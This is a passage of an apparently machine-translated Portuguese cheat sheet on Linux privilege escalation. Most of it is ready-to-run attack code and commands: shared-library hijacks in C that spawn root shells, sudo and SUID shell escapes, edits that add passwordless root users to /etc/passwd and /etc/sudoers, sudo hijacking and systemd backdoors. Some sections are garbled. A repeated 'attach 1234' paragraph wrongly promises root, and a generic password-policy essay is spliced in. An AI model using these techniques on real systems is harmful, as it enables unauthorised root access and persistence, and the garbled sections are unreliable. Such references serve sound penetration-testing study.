Observe que se você tiver permissões de gravação sobre o socket do Docker porque você está dentro do grupo docker, você tem mais maneiras de elevar privilégios. Se a API do Docker estiver ouvindo em uma porta, você também pode comprometê-la.

Verifique mais maneiras de escapar do Docker ou abusar dele para elevar privilégios em:

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

Escalação de privilégios do Containerd (ctr)

Se você descobrir que pode usar o comando ctr, leia a seguinte página, pois você pode ser capaz de abusar dele para elevar privilégios:

{% content-ref url="containerd-ctr-privilege-escalation.md" %} containerd-ctr-privilege-escalation.md {% endcontent-ref %}

Escalação de privilégios do RunC

Se você descobrir que pode usar o comando runc, leia a seguinte página, pois você pode ser capaz de abusar dele para elevar privilégios:

{% content-ref url="runc-privilege-escalation.md" %} runc-privilege-escalation.md {% endcontent-ref %}

D-Bus

D-BUS é um sistema de comunicação interprocessos (IPC), fornecendo um mecanismo simples, mas poderoso, permitindo que aplicativos se comuniquem entre si, troquem informações e solicitem serviços. O D-BUS foi projetado do zero para atender às necessidades de um sistema Linux moderno.

Como um sistema IPC e de objetos completo, o D-BUS tem vários usos pretendidos. Primeiro, o D-BUS pode realizar IPC básico de aplicativos, permitindo que um processo transporte dados para outro - pense em sockets de domínio UNIX turbinados. Em segundo lugar, o D-BUS pode facilitar o envio de eventos, ou sinais, pelo sistema, permitindo que diferentes componentes do sistema se comuniquem e, em última análise, se integrem melhor. Por exemplo, um daemon Bluetooth pode enviar um sinal de chamada recebida que seu player de música pode interceptar, diminuindo o volume até o final da chamada. Por fim, o D-BUS implementa um sistema de objetos remotos, permitindo que um aplicativo solicite serviços e invoque métodos de um objeto diferente - pense em CORBA sem as complicações. (De aqui).

O D-Bus usa um modelo de permissão permitir/negar, onde cada mensagem (chamada de método, emissão de sinal, etc.) pode ser permitida ou negada de acordo com a soma de todas as regras de política que correspondem a ela. Cada regra na política deve ter o atributo own, send_destination ou receive_sender definido.

Parte da política de /etc/dbus-1/system.d/wpa_supplicant.conf:

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Portanto, se uma política estiver permitindo que seu usuário de alguma forma interaja com o barramento, você pode ser capaz de explorá-la para elevar privilégios (talvez apenas listando algumas senhas?).

Observe que uma política que não especifica nenhum usuário ou grupo afeta a todos (<política>).
Políticas no contexto "padrão" afetam a todos que não são afetados por outras políticas (<política context="padrão").

Aprenda como enumerar e explorar uma comunicação D-Bus aqui:

{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %} d-bus-enumeration-and-command-injection-privilege-escalation.md {% endcontent-ref %}

Rede

É sempre interessante enumerar a rede e descobrir a posição da máquina.

Enumeração genérica

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Portas abertas

Sempre verifique os serviços de rede em execução na máquina com a qual você não conseguiu interagir antes de acessá-la:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Verifique se você consegue capturar o tráfego. Se conseguir, você pode ser capaz de obter algumas credenciais.

timeout 1 tcpdump

Usuários

Enumeração Genérica

Verifique quem você é, quais privilégios você possui, quais usuários estão no sistema, quais podem fazer login e quais têm privilégios de root:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Algumas versões do Linux foram afetadas por um bug que permite que usuários com UID > INT_MAX aumentem seus privilégios. Mais informações: aqui, aqui e aqui.
Explorá-lo usando: systemd-run -t /bin/bash

Grupos

Verifique se você é membro de algum grupo que possa conceder privilégios de root:

{% content-ref url="interesting-groups-linux-pe/" %} interesting-groups-linux-pe {% endcontent-ref %}

Área de transferência

Verifique se há algo interessante na área de transferência (se possível)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Política de Senhas

A política de senhas é uma medida de segurança importante para proteger sistemas e dados contra acesso não autorizado. Uma política de senhas eficaz deve ser implementada para garantir que as senhas sejam fortes e seguras. Aqui estão algumas diretrizes para criar uma política de senhas robusta:

• Comprimento mínimo: Defina um comprimento mínimo para as senhas, geralmente recomendado entre 8 e 12 caracteres.
• Complexidade: Exija que as senhas contenham uma combinação de letras maiúsculas e minúsculas, números e caracteres especiais.
• Expiração: Defina um período de expiração para as senhas, geralmente a cada 60 a 90 dias. Os usuários devem ser solicitados a alterar suas senhas regularmente.
• Histórico de senhas: Mantenha um histórico das senhas anteriores para evitar que os usuários reutilizem senhas antigas.
• Bloqueio de conta: Implemente um mecanismo de bloqueio de conta após um número específico de tentativas de login malsucedidas.
• Autenticação de dois fatores: Incentive ou exija a autenticação de dois fatores para adicionar uma camada extra de segurança às contas dos usuários.
• Educação do usuário: Forneça treinamento e conscientização aos usuários sobre a importância de senhas fortes e boas práticas de segurança.

Ao implementar uma política de senhas, é essencial equilibrar a segurança com a usabilidade. As senhas devem ser fortes o suficiente para resistir a ataques de força bruta, mas também fáceis o suficiente para que os usuários possam lembrá-las sem precisar anotá-las.

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Senhas conhecidas

Se você conhece alguma senha do ambiente, tente fazer login como cada usuário usando a senha.

Su Brute

Se não se importar em fazer muito barulho e os binários su e timeout estiverem presentes no computador, você pode tentar forçar a entrada de usuário usando su-bruteforce.
Linpeas com o parâmetro -a também tenta forçar a entrada de usuários.

Abusos de PATH graváveis

$PATH

Se você descobrir que pode escrever em alguma pasta do $PATH, talvez seja possível elevar os privilégios criando uma porta dos fundos dentro da pasta gravável com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que não seja carregado de uma pasta localizada anteriormente à sua pasta gravável no $PATH.

SUDO e SUID

Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique usando:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Alguns comandos inesperados permitem ler e/ou escrever arquivos ou até mesmo executar um comando. Por exemplo:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

A configuração do Sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem precisar saber a senha.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

Neste exemplo, o usuário demo pode executar o vim como root, agora é trivial obter um shell adicionando uma chave ssh no diretório root ou chamando sh.

sudo vim -c '!sh'

SETENV

Esta diretiva permite ao usuário definir uma variável de ambiente enquanto executa algo:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Este exemplo, baseado na máquina HTB Admirer, estava vulnerável a PYTHONPATH hijacking para carregar uma biblioteca python arbitrária enquanto executava o script como root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

Bypassando a execução do Sudo através de caminhos

Pule para ler outros arquivos ou use links simbólicos. Por exemplo, no arquivo sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Se um curinga é usado (*), fica ainda mais fácil:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contramedidas: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Comando Sudo/binário SUID sem caminho de comando

Se a permissão sudo for dada a um único comando sem especificar o caminho: hacker10 ALL= (root) less, você pode explorá-lo alterando a variável PATH.

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Esta técnica também pode ser usada se um binário suid executa outro comando sem especificar o caminho para ele (sempre verifique com o comando strings o conteúdo de um binário suid suspeito).

Exemplos de payloads para executar.

Binário suid com caminho do comando

Se o binário suid executa outro comando especificando o caminho, então você pode tentar exportar uma função com o mesmo nome do comando que o arquivo suid está chamando.

Por exemplo, se um binário suid chama /usr/sbin/service apache2 start, você deve tentar criar a função e exportá-la:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Então, quando você chama o binário suid, essa função será executada

LD_PRELOAD & LD_LIBRARY_PATH

LD_PRELOAD é uma variável de ambiente opcional que contém um ou mais caminhos para bibliotecas compartilhadas, ou objetos compartilhados, que o carregador irá carregar antes de qualquer outra biblioteca compartilhada, incluindo a biblioteca de tempo de execução C (libc.so). Isso é chamado de pré-carregamento de uma biblioteca.

Para evitar que esse mecanismo seja usado como um vetor de ataque para binários executáveis suid/sgid, o carregador ignora o LD_PRELOAD se ruid != euid. Para esses binários, apenas bibliotecas em caminhos padrão que também são suid/sgid serão pré-carregadas.

Se você encontrar na saída do comando sudo -l a frase: env_keep+=LD_PRELOAD e puder chamar algum comando com sudo, você pode elevar os privilégios.

Defaults        env_keep += LD_PRELOAD

Salvar como /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Em seguida, compile-o usando:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Finalmente, eleve os privilégios executando

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

{% hint style="danger" %} Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente LD_LIBRARY_PATH, pois ele controla o caminho onde as bibliotecas serão procuradas. {% endhint %}

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

Binário SUID - Injeção de .so

Se você encontrar algum binário estranho com permissões SUID, você pode verificar se todos os arquivos .so estão carregados corretamente. Para fazer isso, você pode executar:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Por exemplo, se você encontrar algo como: pen("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (Arquivo ou diretório não encontrado) você pode explorá-lo.

Crie o arquivo /home/user/.config/libcalc.c com o código:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Compile-o usando:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

Sequestro de Objeto Compartilhado

O sequestro de objeto compartilhado é uma técnica de escalonamento de privilégios que envolve a substituição de uma biblioteca compartilhada por uma versão maliciosa. Isso permite que um invasor execute código arbitrário com privilégios elevados.

Identificando bibliotecas vulneráveis

Para identificar bibliotecas vulneráveis, você pode usar a ferramenta ldd para listar as dependências de um executável. Procure por bibliotecas que possam ser substituídas ou que possuam permissões de gravação para usuários não privilegiados.

Criando uma biblioteca maliciosa

Para criar uma biblioteca maliciosa, você precisa escrever um código que seja executado quando a biblioteca for carregada. Isso pode ser feito substituindo uma função existente ou adicionando uma nova função.

Substituindo a biblioteca

Uma vez que você tenha a biblioteca maliciosa pronta, você precisa substituir a biblioteca original por ela. Isso pode ser feito de várias maneiras, como alterar a variável de ambiente LD_LIBRARY_PATH ou usando a técnica de carga dinâmica.

Executando o binário

Após substituir a biblioteca, execute o binário que depende dela. O código malicioso será executado com os privilégios elevados do binário, permitindo que você execute comandos ou acesse recursos restritos.

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Agora que encontramos um binário SUID carregando uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Se você receber um erro como este:

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

Isso significa que a biblioteca que você gerou precisa ter uma função chamada a_function_name.

GTFOBins

GTFOBins é uma lista selecionada de binários Unix que podem ser explorados por um invasor para contornar restrições de segurança locais. GTFOArgs é o mesmo, mas para casos em que você só pode injetar argumentos em um comando.

O projeto coleta funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, elevar ou manter privilégios elevados, transferir arquivos, criar shells de bind e reversos e facilitar outras tarefas de pós-exploração.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{% embed url="https://gtfobins.github.io/" %}

{% embed url="https://gtfoargs.github.io/" %}

FallOfSudo

Se você pode acessar sudo -l, você pode usar a ferramenta FallOfSudo para verificar se ela encontra alguma regra sudo que possa ser explorada.

Reutilizando Tokens do Sudo

No cenário em que você tem um shell como um usuário com privilégios de sudo, mas não sabe a senha do usuário, você pode esperar que ele/ela execute algum comando usando sudo. Em seguida, você pode acessar o token da sessão em que o sudo foi usado e usá-lo para executar qualquer coisa como sudo (elevação de privilégios).

Requisitos para elevar privilégios:

• Você já tem um shell como usuário "sampleuser"
• "sampleuser" usou sudo para executar algo nos últimos 15 minutos (por padrão, essa é a duração do token sudo que nos permite usar sudo sem digitar uma senha)
• cat /proc/sys/kernel/yama/ptrace_scope é 0
• gdb é acessível (você pode fazer upload dele)

(Você pode habilitar temporariamente ptrace_scope com echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ou modificar permanentemente /etc/sysctl.d/10-ptrace.conf e definir kernel.yama.ptrace_scope = 0)

Se todos esses requisitos forem atendidos, você pode elevar privilégios usando: https://github.com/nongiach/sudo_inject

• O primeiro exploit (exploit.sh) criará o binário activate_sudo_token em /tmp. Você pode usá-lo para ativar o token sudo em sua sessão (você não obterá automaticamente um shell root, faça sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• O segundo exploit (exploit_v2.sh) criará um shell sh em /tmp propriedade do root com setuid

bash exploit_v2.sh
/tmp/sh -p

• O terceiro exploit (exploit_v3.sh) irá criar um arquivo sudoers que torna os tokens sudo eternos e permite que todos os usuários usem o sudo.

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Nome de Usuário>

Se você tiver permissões de escrita na pasta ou em qualquer um dos arquivos criados dentro da pasta, você pode usar o binário write_sudo_token para criar um token sudo para um usuário e PID.
Por exemplo, se você puder sobrescrever o arquivo /var/run/sudo/ts/sampleuser e tiver um shell como esse usuário com PID 1234, você pode obter privilégios sudo sem precisar saber a senha fazendo:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

O arquivo /etc/sudoers e os arquivos dentro de /etc/sudoers.d configuram quem pode usar o sudo e como. Por padrão, esses arquivos só podem ser lidos pelo usuário root e pelo grupo root.
Se você conseguir ler este arquivo, poderá obter algumas informações interessantes, e se puder escrever em qualquer arquivo, poderá elevar os privilégios.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Se você pode escrever, você pode abusar dessa permissão.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Outra maneira de abusar dessas permissões:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Existem algumas alternativas ao binário sudo, como o doas para o OpenBSD. Lembre-se de verificar sua configuração em /etc/doas.conf.

permit nopass demo as root cmd vim

Sudo Hijacking

Se você sabe que um usuário geralmente se conecta a uma máquina e usa sudo para elevar privilégios e você obteve um shell dentro do contexto desse usuário, você pode criar um novo executável sudo que executará seu código como root e, em seguida, o comando do usuário. Em seguida, modifique o $PATH do contexto do usuário (por exemplo, adicionando o novo caminho em .bash_profile) para que, quando o usuário executar o sudo, seu executável sudo seja executado.

Observe que, se o usuário usar um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, o sudo-piggyback modifica ~/.bashrc, ~/.zshrc, ~/.bash_profile. Você pode encontrar outro exemplo em bashdoor.py

Ou executando algo como:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Biblioteca Compartilhada

ld.so

O arquivo /etc/ld.so.conf indica de onde vêm os arquivos de configuração carregados. Normalmente, este arquivo contém o seguinte caminho: include /etc/ld.so.conf.d/*.conf

Isso significa que os arquivos de configuração de /etc/ld.so.conf.d/*.conf serão lidos. Esses arquivos de configuração apontam para outras pastas onde as bibliotecas serão procuradas. Por exemplo, o conteúdo de /etc/ld.so.conf.d/libc.conf é /usr/local/lib. Isso significa que o sistema procurará bibliotecas dentro de /usr/local/lib.

Se, por algum motivo, um usuário tiver permissões de gravação em algum dos caminhos indicados: /etc/ld.so.conf, /etc/ld.so.conf.d/, qualquer arquivo dentro de /etc/ld.so.conf.d/ ou qualquer pasta dentro do arquivo de configuração dentro de /etc/ld.so.conf.d/*.conf, ele poderá conseguir privilégios elevados.
Dê uma olhada em como explorar essa configuração incorreta na seguinte página:

{% content-ref url="ld.so.conf-example.md" %} ld.so.conf-example.md {% endcontent-ref %}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Ao copiar a biblioteca para /var/tmp/flag15/, ela será utilizada pelo programa neste local, conforme especificado na variável RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Em seguida, crie uma biblioteca maliciosa em /var/tmp com gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capacidades

As capacidades do Linux fornecem um subconjunto dos privilégios de root disponíveis para um processo. Isso efetivamente divide os privilégios de root em unidades menores e distintas. Cada uma dessas unidades pode ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.
Leia a seguinte página para saber mais sobre as capacidades e como abusar delas:

{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

Permissões de diretório

Em um diretório, o bit "execute" implica que o usuário afetado pode "cd" para a pasta.
O bit "read" implica que o usuário pode listar os arquivos, e o bit "write" implica que o usuário pode excluir e criar novos arquivos.

ACLs

As ACLs (Listas de Controle de Acesso) são o segundo nível de permissões discricionárias, que podem substituir as permissões padrão ugo/rwx. Quando usadas corretamente, elas podem conceder uma maior granularidade na definição do acesso a um arquivo ou diretório, por exemplo, dando ou negando acesso a um usuário específico que não é o proprietário do arquivo nem o proprietário do grupo (de aqui).
Dê ao usuário "kali" permissões de leitura e escrita sobre um arquivo:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Obter arquivos com ACLs específicas do sistema:

getfacl -R /path/to/directory

Este comando irá recursivamente listar as ACLs de todos os arquivos e diretórios dentro do diretório especificado.

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Sessões de shell abertas

Em versões antigas, você pode sequestrar alguma sessão de shell de um usuário diferente (root).
Nas versões mais recentes, você só poderá conectar-se a sessões de tela do seu próprio usuário. No entanto, você pode encontrar informações interessantes dentro da sessão.

Sequestrando sessões de tela

Listar sessões de tela

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Anexar a uma sessão

Para realizar a escalada de privilégios em um sistema Linux, é necessário primeiro anexar a uma sessão existente com privilégios elevados. Isso pode ser feito usando o comando attach seguido pelo ID da sessão. Por exemplo:

attach 1234

Isso permitirá que você assuma o controle da sessão com privilégios elevados e execute comandos como root. Certifique-se de ter as permissões adequadas para anexar a uma sessão antes de prosseguir.

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

Sequestro de sessões do tmux

Isso era um problema com versões antigas do tmux. Eu não conseguia sequestrar uma sessão do tmux (v2.1) criada pelo root como um usuário não privilegiado.

Listar sessões do tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Anexar a uma sessão

Para realizar a escalada de privilégios em um sistema Linux, é necessário primeiro anexar a uma sessão existente com privilégios elevados. Isso pode ser feito usando o comando attach seguido pelo ID da sessão. Por exemplo:

attach 1234

Isso permitirá que você assuma o controle da sessão com privilégios elevados e execute comandos como root. Certifique-se de ter as permissões adequadas para anexar a uma sessão antes de prosseguir com a escalada de privilégios.

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Verifique Valentine box do HTB para um exemplo.

SSH

Debian OpenSSL PRNG Previsível - CVE-2008-0166

Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.
Esse bug ocorre ao criar uma nova chave ssh nesses sistemas operacionais, pois apenas 32.768 variações eram possíveis. Isso significa que todas as possibilidades podem ser calculadas e com a chave pública ssh você pode procurar pela chave privada correspondente. Você pode encontrar as possibilidades calculadas aqui: https://github.com/g0tmi1k/debian-ssh

Valores de configuração interessantes do SSH

• PasswordAuthentication: Especifica se a autenticação por senha é permitida. O padrão é no.
• PubkeyAuthentication: Especifica se a autenticação por chave pública é permitida. O padrão é yes.
• PermitEmptyPasswords: Quando a autenticação por senha é permitida, especifica se o servidor permite o login em contas com strings de senha vazias. O padrão é no.

PermitRootLogin

Especifica se o root pode fazer login usando ssh, o padrão é no. Valores possíveis:

• yes: root pode fazer login usando senha e chave privada
• without-password ou prohibit-password: root só pode fazer login com uma chave privada
• forced-commands-only: Root só pode fazer login usando chave privada e se as opções de comandos forem especificadas
• no : não

AuthorizedKeysFile

Especifica os arquivos que contêm as chaves públicas que podem ser usadas para autenticação do usuário. Pode conter tokens como %h, que serão substituídos pelo diretório home. Você pode indicar caminhos absolutos (começando em /) ou caminhos relativos a partir do diretório home do usuário. Por exemplo:

AuthorizedKeysFile    .ssh/authorized_keys access

Essa configuração indicará que, se você tentar fazer login com a chave privada do usuário "testusername", o ssh irá comparar a chave pública da sua chave com aquelas localizadas em /home/testusername/.ssh/authorized_keys e /home/testusername/access.

ForwardAgent/AllowAgentForwarding

O encaminhamento do agente SSH permite que você use suas chaves SSH locais em vez de deixar as chaves (sem frases de acesso!) no seu servidor. Assim, você poderá pular via ssh para um host e a partir daí pular para outro host usando a chave localizada no seu host inicial.

Você precisa definir essa opção em $HOME/.ssh.config da seguinte forma:

Host example.com
ForwardAgent yes

Observe que se Host for *, toda vez que o usuário pular para uma máquina diferente, essa máquina poderá acessar as chaves (o que é um problema de segurança).

O arquivo /etc/ssh_config pode sobrescrever essas opções e permitir ou negar essa configuração.
O arquivo /etc/sshd_config pode permitir ou negar o encaminhamento do ssh-agent com a palavra-chave AllowAgentForwarding (o padrão é permitir).

Se você descobrir que o encaminhamento do agente está configurado em um ambiente, leia a seguinte página, pois você pode conseguir explorá-lo para elevar privilégios:

{% content-ref url="ssh-forward-agent-exploitation.md" %} ssh-forward-agent-exploitation.md {% endcontent-ref %}

Arquivos Interessantes

Arquivos de Perfil

O arquivo /etc/profile e os arquivos em /etc/profile.d/ são scripts que são executados quando um usuário inicia um novo shell. Portanto, se você puder escrever ou modificar qualquer um deles, poderá elevar privilégios.

ls -l /etc/profile /etc/profile.d/

Se algum script de perfil estranho for encontrado, você deve verificá-lo em busca de detalhes sensíveis.

Arquivos Passwd/Shadow

Dependendo do sistema operacional, os arquivos /etc/passwd e /etc/shadow podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado encontrar todos eles e verificar se você pode lê-los para ver se há hashes dentro dos arquivos:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

Em algumas ocasiões, você pode encontrar hashes de senhas dentro do arquivo /etc/passwd (ou equivalente).

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

/etc/passwd gravável

Primeiro, gere uma senha com um dos seguintes comandos.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Em seguida, adicione o usuário hacker e adicione a senha gerada.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Por exemplo: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Agora você pode usar o comando su com hacker:hacker

Alternativamente, você pode usar as seguintes linhas para adicionar um usuário fictício sem senha.
ATENÇÃO: você pode comprometer a segurança atual da máquina.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: Nas plataformas BSD, /etc/passwd está localizado em /etc/pwd.db e /etc/master.passwd, além disso, o /etc/shadow é renomeado para /etc/spwd.db.

Você deve verificar se consegue escrever em alguns arquivos sensíveis. Por exemplo, você consegue escrever em algum arquivo de configuração de serviço?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Por exemplo, se a máquina estiver executando um servidor tomcat e você puder modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/, então você pode modificar as linhas:

ExecStart=/path/to/backdoor
User=root
Group=root

Seu backdoor será executado na próxima vez que o tomcat for iniciado.

Verificar Pastas

As seguintes pastas podem conter backups ou informações interessantes: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Provavelmente você não conseguirá ler a última, mas tente)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Localização Estranha/Arquivos Possuídos

Descrição

Uma técnica comum de escalonamento de privilégios é explorar arquivos localizados em locais incomuns ou arquivos possuídos por usuários privilegiados. Essa abordagem visa encontrar arquivos que possam ser manipulados para obter acesso privilegiado ao sistema.

Detalhes

1. Arquivos SUID/SGID: Esses arquivos possuem permissões especiais que permitem que sejam executados com os privilégios do proprietário ou do grupo. Ao encontrar um arquivo SUID/SGID, um invasor pode explorar uma vulnerabilidade no arquivo para executar comandos com privilégios elevados. Alguns exemplos comuns de arquivos SUID/SGID são sudo, passwd e ping.

